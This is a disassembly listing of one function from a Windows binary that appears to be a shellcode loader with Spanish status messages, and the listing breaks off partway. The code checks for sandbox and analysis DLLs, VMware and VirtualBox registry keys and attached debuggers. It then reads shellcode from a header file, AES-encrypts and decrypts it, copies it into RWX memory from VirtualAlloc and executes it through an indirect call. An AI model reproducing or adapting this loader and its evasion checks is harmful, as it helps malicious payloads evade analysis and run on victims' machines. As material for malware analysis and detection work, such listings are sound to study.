Function at 0x140003af0
Capabilities:
Allocate or change rwx memory
Check for debugger via api
Execute command
Execute shellcode via indirect call

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0xe0
mov rax, qword [0x1400301c0]
xor rax, rsp
mov qword [rsp + 0xd0], rax
lea rdx, str.Iniciando_programa
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rax, str.SbieDll.dll
mov qword [rsp + 0x30], rax
lea rax, str.api_log.dll
mov qword [rsp + 0x38], rax
lea rax, str.dir_watch.dll
mov qword [rsp + 0x40], rax
lea rax, str.pstorec.dll
mov qword [rsp + 0x48], rax
lea rax, str.vmcheck.dll
mov qword [rsp + 0x50], rax
lea rax, str.wpespy.dll
mov qword [rsp + 0x58], rax
xor r14d, r14d
mov ebx, r14d
lea rdi, [rsp + 0x30]
mov rcx, qword [rdi]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test rax, rax
jne 0x140004b53
inc ebx
add rdi, 8
cmp ebx, 6
jb 0x140003b90
mov qword [rsp + 0x20], r14
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREVMware__Inc.VMware_Tools
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140004b53
mov qword [rsp + 0x20], r14
mov r9d, 0x20019
xor r8d, r8d
lea rdx, str.SOFTWAREOracleVirtualBox_Guest_Additions
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140004b53
lea rdx, str.Antisandboxing_pasado
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
jne 0x140004b19
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [rsp + 0xc8], r14d
lea rdx, [rsp + 0xc8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x140003c63
cmp dword [rsp + 0xc8], r14d
jne 0x140004b19
lea rdx, str.Anti_debugging_pasado
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.1400037f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xc0], rax
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, 0x20
call fcn.14001ed30
mov rcx, rax
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x140026d60]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.DesarrolloMagico.h]
movups xmmword [rax], xmm0
movzx eax, word [0x1400264c0]
mov word [rcx + 0x10], ax
mov byte [rcx + 0x12], r14b
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0xb0]
call fcn.140003180
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140003d3a
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003d35
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003d35
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
movdqa xmm0, xmmword [0x140026d50]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rax, qword [rsp + 0xb8]
cmp qword [rsp + 0xb0], rax
jne 0x140003ddc
lea rdx, str.Error_al_leer_el_shellcode_desde_el_archivo.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x140003dd2
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003dcd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b03
call fcn.14001ed6c
mov eax, 1
jmp 0x140004980
lea rdx, str.Shellcode_le
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Shellcode_original__primeros_64_bytes_:_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
mov rdi, qword [rsp + 0xb8]
mov rsi, qword [rsp + 0xb0]
sub rdi, rsi
mov rbx, r14
cmp rdi, 0x40
jae 0x140003e35
test rdi, rdi
jne 0x140003e40
jmp 0x140003e6d
mov edi, 0x40
nop word [rax + rax]
movzx edx, byte [rsi + rbx]
lea rcx, str._02x
call fcn.140001320
movzx eax, bl
and al, 0xf
cmp al, 0xf
jne 0x140003e65
lea rcx, [0x14002615c]
call fcn.140001320
inc rbx
cmp rbx, rdi
jb 0x140003e40
lea rcx, [0x14002615c]
call fcn.140001320
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x68], xmm1
mov qword [rsp + 0x78], r14
mov rdx, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xb0]
sub rdx, rcx
lea rax, [rsp + 0x68]
mov qword [rsp + 0x20], rax
call fcn.140002be0
lea rdx, str.Shellcode_cifrado
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x68], rax
jne 0x140003fa3
lea rdx, str.Error:_el_cifrado_no_produjo_datos.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140003f57
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f44
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ab0
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x140003f99
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003f94
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b03
call fcn.14001ed6c
mov eax, 1
jmp 0x140004980
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, 0x20
call fcn.14001ed30
mov rcx, rax
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x140026d70]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.DesarrolloMagico_AES.h]
movups xmmword [rax], xmm0
mov eax, dword [0x140026598]
mov dword [rcx + 0x10], eax
movzx eax, word [0x14002659c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0
lea rdx, [rsp + 0x68]
lea rcx, [rsp + 0x30]
call fcn.140003570
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004046
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004041
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004041
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
lea rdx, str.Shellcode_cifrado_escrito_a_DesarrolloMagico_AES.h
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], rax
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
mov ecx, 0x20
call fcn.14001ed30
mov rcx, rax
mov qword [rsp + 0x30], rax
movdqa xmm0, xmmword [0x140026d70]
movdqu xmmword [rsp + 0x40], xmm0
movups xmm0, xmmword [str.DesarrolloMagico_AES.h]
movups xmmword [rax], xmm0
mov eax, dword [0x140026598]
mov dword [rcx + 0x10], eax
movzx eax, word [0x14002659c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x98]
call fcn.140003180
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x140004121
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000411c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000411c
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
movdqa xmm0, xmmword [0x140026d50]
movdqu xmmword [rsp + 0x40], xmm0
mov byte [rsp + 0x30], 0
mov rax, qword [rsp + 0xa0]
cmp qword [rsp + 0x98], rax
jne 0x140004267
lea rdx, str.Error_al_leer_el_shellcode_cifrado_desde_el_archivo.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400041d1
mov rdx, qword [rsp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400041b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a5d
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r14
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000421b
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004208
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ab0
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x14000425d
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004258
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b03
call fcn.14001ed6c
mov eax, 1
jmp 0x140004980
lea rdx, str.Shellcode_cifrado_le
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Shellcode_cifrado__primeros_64_bytes_:_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
sub rdi, rsi
mov rbx, r14
cmp rdi, 0x40
jae 0x1400042c0
test rdi, rdi
je 0x1400042fd
jmp 0x1400042d0
mov edi, 0x40
nop word [rax + rax]
movzx edx, byte [rsi + rbx]
lea rcx, str._02x
call fcn.140001320
movzx eax, bl
and al, 0xf
cmp al, 0xf
jne 0x1400042f5
lea rcx, [0x14002615c]
call fcn.140001320
inc rbx
cmp rbx, rdi
jb 0x1400042d0
lea rcx, [0x14002615c]
call fcn.140001320
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x80], xmm1
mov qword [rsp + 0x90], r14
mov rdx, qword [rsp + 0xa0]
mov rcx, qword [rsp + 0x98]
sub rdx, rcx
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
call fcn.140002ed0
lea rdx, str.Shellcode_descifrado
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rax, qword [rsp + 0x88]
cmp qword [rsp + 0x80], rax
jne 0x1400044ee
lea rdx, str.Error:_el_descifrado_no_produjo_datos.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x140004402
mov rdx, qword [rsp + 0x90]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400043e9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a04
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r14
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x140004458
mov rdx, qword [rsp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000443f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a5d
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r14
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400044a2
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000448f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ab0
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x1400044e4
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400044df
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b03
call fcn.14001ed6c
mov eax, 1
jmp 0x140004980
lea rdx, str.Shellcode_descifrado__primeros_64_bytes_:_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
mov rdi, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
sub rdi, rsi
mov rbx, r14
cmp rdi, 0x40
jae 0x140004524
test rdi, rdi
je 0x14000455d
jmp 0x140004530
mov edi, 0x40
nop dword [rax]
movzx edx, byte [rbx + rsi]
lea rcx, str._02x
call fcn.140001320
movzx eax, bl
and al, 0xf
cmp al, 0xf
jne 0x140004555
lea rcx, [0x14002615c]
call fcn.140001320
inc rbx
cmp rbx, rdi
jb 0x140004530
lea rcx, [0x14002615c]
call fcn.140001320
mov r8, qword [rsp + 0xb8]
mov rcx, qword [rsp + 0xb0]
sub r8, rcx
mov rax, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
sub rax, rdx
cmp r8, rax
jne 0x1400049aa
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
test al, al
je 0x1400049aa
lea rdx, str.Shellcode_descifrado_correctamente._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
mov rdx, qword [rsp + 0x88]
sub rdx, qword [rsp + 0x80]
add rdx, 0x1000
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140004767
lea rdx, str.No_se_pudo_alocar_memoria_para_el_shellcode_descifrado.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x14000467b
mov rdx, qword [rsp + 0x90]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004662
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a04
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r14
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400046d1
mov rdx, qword [rsp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400046b8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a5d
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r14
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000471b
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004708
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ab0
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x14000475d
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004758
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b03
call fcn.14001ed6c
mov eax, 1
jmp 0x140004980
lea rdx, str.Memoria_alocada_para_el_shellcode_descifrado
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x80]
sub r8, rdx
mov rcx, rbx
call sub.VCRUNTIME140.dll_memmove
lea rdx, str.Shellcode_descifrado_copiado_a_la_memoria_alocada
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Ejecutando_shellcode
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call rbx
lea rdx, str.Shellcode_ejecutado
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
lea rdx, str.Memoria_liberada
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400076b0
lea rdx, [0x140007890]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x14000489b
mov rdx, qword [rsp + 0x90]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004882
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a04
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r14
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x1400048f1
mov rdx, qword [rsp + 0xa8]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400048d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004a5d
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x98], xmm0
mov qword [rsp + 0xa8], r14
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14000493b
mov rdx, qword [rsp + 0x78]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004928
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004ab0
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r14
mov rcx, qword [rsp + 0xb0]
test rcx, rcx
je 0x14000497e
mov rdx, qword [rsp + 0xc0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004978
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140004b03
call fcn.14001ed6c
nop
xor eax, eax
mov rcx, qword [rsp + 0xd0]
xor rcx, rsp
call fcn.14001ed00
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
lea rdx, str.Error:_el_shellcode_descifrado_no_coincide_con_el_original._n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.1400076b0
lea rcx, str.pause
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
nop
mov rcx, qword [rsp + 0x80]
test rcx, rcx
je 0x140004a24
mov rdx, qword [rsp + 0x90]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004a0b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004a0b
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ed6c
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x80], xmm0
mov qword [rsp + 0x90], r14
mov rcx, qword [rsp + 0x98]
test rcx, rcx
je 0x140004a7d
mov rdx, qword [rsp + 0xa8]
sub rdx, rcx
mov rax, rcx
